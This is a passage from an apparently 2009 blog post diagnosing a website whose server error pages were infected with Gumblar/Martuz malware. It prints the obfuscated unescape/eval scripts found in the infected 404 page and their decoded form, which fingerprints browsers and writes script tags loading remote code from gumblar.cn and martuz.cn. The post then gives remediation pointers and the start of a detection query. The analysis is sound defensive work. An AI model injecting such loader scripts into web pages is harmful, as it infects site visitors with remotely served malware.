3fid&amp;quot;3d&amp;quot;22+j+&amp;quot;22&amp;quot;3e&amp;quot;3c&amp;quot;5c&amp;quot;2fsc&amp;quot;72ipt&amp;quot;3e&amp;quot;22)&amp;quot;3b&amp;quot;7d'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Fda&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;unescape(qAxG.replace(AO9h,x752))&lt;/font&gt;&lt;font color="#0000ff"&gt;;eval&lt;/font&gt;&lt;font color="#000000"&gt;(Fda)})(/&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;/g);      &lt;br /&gt;--&amp;gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#ff0000"&gt; language&lt;/font&gt;&lt;font color="#0000ff"&gt;=javascript&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;!--&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;function&lt;/font&gt;&lt;font color="#000000"&gt;(rSf93){&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SKrkj&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;'%'&lt;/font&gt;&lt;font color="#0000ff"&gt;;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;METKG&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;unescape((&lt;/font&gt;&lt;font color="#808080"&gt;'var~20~61~3d~22S~63~72i~70~74Engine~22~2cb~3d~22Version()+~22~2cj~3d~22~22~2c~75~3dn~61v~69ga~74o~72~2e~75se~72Agen~74~3b~69f(~28u~2eind~65~78~4ff(~22Chro~6d~65~22~29~3c~30)~26~26(~75~2e~69ndexOf(~22Wi~6e~22)~3e0)~26~26(u~2e~69ndexOf(~22~4eT~206~22~29~3c0~29~26~26(doc~75~6dent~2ecook~69e~2ein~64exOf(~22miek~3d1~22)~3c~30)~26~26~28typeof(zrv~7at~73)~21~3dtyp~65~6ff(~22A~22~29))~7bzrv~7at~73~3d~22~41~22~3b~65~76al(~22i~66(w~69ndow~2e~22+a+~22)~6a~3dj+~22+~61+~22M~61jor~22+b~2b~61+~22~4dinor~22+~62+a~2b~22B~75ild~22~2bb+~22j~3b~22)~3bdocu~6d~65n~74~2e~77rit~65(~22~3cs~63r~69pt~20src~3d~2f~2f~6dar~22~2b~22tuz~2ec~6e~2f~76~69d~2f~3f~69d~3d~22+j+~22~3e~3c~5c~2fscr~69pt~3e~22)~3b~7d'&lt;/font&gt;&lt;font color="#000000"&gt;).replace(rSf93,SKrkj))&lt;/font&gt;&lt;font color="#0000ff"&gt;;eval&lt;/font&gt;&lt;font color="#000000"&gt;(METKG)})(/\~/g)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;--&amp;gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;script&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;BODY&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;H1&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;Not Found&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;H1&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;The requested document was not found on this server.       &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;P&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;HR&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;ADDRESS&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;Web Server at **********       &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;ADDRESS&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;BODY&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;HTML&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;Notice those two ugly scripts that seem to be just a random set of numbers, quotes and letters? I do not believe I've ever met a developer that writes code like that in real web applications. &lt;/p&gt;  &lt;p&gt;For those of you like me that do not particularly enjoy reading encoded Javascript what these two scripts do is just unescape the funky looking string and then execute it. I have un-encoded the script that would get executed and showed it below just to show case how this malware works. Note how they special case a couple browsers including Chrome to request then a particular script that will cause the real damage.&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;ScriptEngine&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Version()+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;u&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;navigator.userAgent&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;((u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Win&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;NT 6&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font color="#000000"&gt;.cookie.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;miek=1&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(zrvzts)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)))&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;zrvzts&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;eval&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;if(window.&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;)j=j+&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Major&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Minor&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;Build&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;j;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font color="#000000"&gt;.write(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;lt;script src=//&lt;strong&gt;&lt;font size="5"&gt;gumblar.cn&lt;/font&gt;&lt;/strong&gt;/rss/?id=&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;&amp;gt;&amp;lt;\/script&amp;gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;And:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;ScriptEngine&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Version()+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,u&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;navigator.userAgent&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#000000"&gt;((u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&lt;font size="3"&gt;&lt;strong&gt;Chrome&lt;/strong&gt;&lt;/font&gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Win&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;gt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;NT 6&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(&lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font color="#000000"&gt;.cookie.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;miek=1&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#000000"&gt;(zrvzts)!&lt;/font&gt;&lt;font color="#0000ff"&gt;=typeof&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;))){&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;zrvzts&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;eval&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;if(window.&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;)j=j+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Major&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Minor&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Build&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;j;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;document&lt;/font&gt;&lt;font color="#000000"&gt;.write(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;lt;script src=//&lt;strong&gt;&lt;font size="5"&gt;mar&lt;/font&gt;&lt;font size="5"&gt;tuz.cn&lt;/font&gt;&lt;/strong&gt;/vid/?id=&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+j+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;gt;&amp;lt;\/script&amp;gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;/div&gt;  &lt;p&gt;Notice how both of them end up writing the actual malware script living in martuz.cn and gumblar.cn.&lt;/p&gt;  &lt;h2&gt;Final data&lt;/h2&gt;  &lt;p&gt;Now, this clearly means they are infected with malware, and it clearly seems that the problem is not in the Web Application but the infection is in the Error Pages that are being served from the Server when an error happens. Next step to be able to guide them with more specifics I needed to determine the Web server that they were using, to do that it is as easy as just inspecting the headers in the IIS SEO Toolkit which displayed something like the ones shown below:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#000000"&gt;Accept-Ranges:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;bytes&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Content-Length:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2570&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Content-Type:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;text/html&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;Date&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Sat,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;20&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Jun&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2009&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;01&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;16&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;23&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;GMT&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Last-Modified:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Sun,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;17&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;May&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2009&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;06&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;43&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;38&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;GMT&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;strong&gt;&lt;font color="#000000"&gt;Server:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Apache/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;3&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(Debian)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_jk/&lt;/font&gt;&lt;font color="#800000"&gt;1&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;18&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;PHP/&lt;/font&gt;&lt;font color="#800000"&gt;5&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;-8+etch15&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_ssl/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;3&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;OpenSSL/&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;9&lt;/font&gt;&lt;font color="#000000"&gt;.8c&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_perl/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Perl/v5.&lt;/font&gt;&lt;font color="#800000"&gt;8&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;8&lt;/font&gt;&lt;/strong&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;/div&gt;  &lt;p&gt;With a big disclaimer that I know nothing about Apache, I then guided them to their .htaccess file and the httpd.conf file for ErrorDocument and that would show them which files were infected and if it was a problem in their application or the server.&lt;/p&gt;  &lt;h2&gt;&lt;/h2&gt;  &lt;h2&gt;Case Closed &lt;/h2&gt;  &lt;p&gt;Turns out that after they went back to their Hoster with all this evidence, they finally realized that their server was infected and were able to clean up the malware. IIS SEO Toolkit helped me quickly identify this based on the fact that is able to see the Web site with the same eyes as a Search Engine would, following every link and letting me perform easy queries to find information about it. In future versions of IIS SEO Toolkit you can expect to be able to find this kind of things in a lot simpler ways, but for Beta 1 for those who cares here is the query that you can save in an XML file and use &amp;quot;Open Query&amp;quot; to see if you are infected with these malware.&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;?xml&lt;/font&gt;&lt;font color="#ff0000"&gt; version&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;1.0&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; encoding&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;query&lt;/font&gt;&lt;font color="#ff0000"&gt; dataSource&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;urls&amp;quot;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font 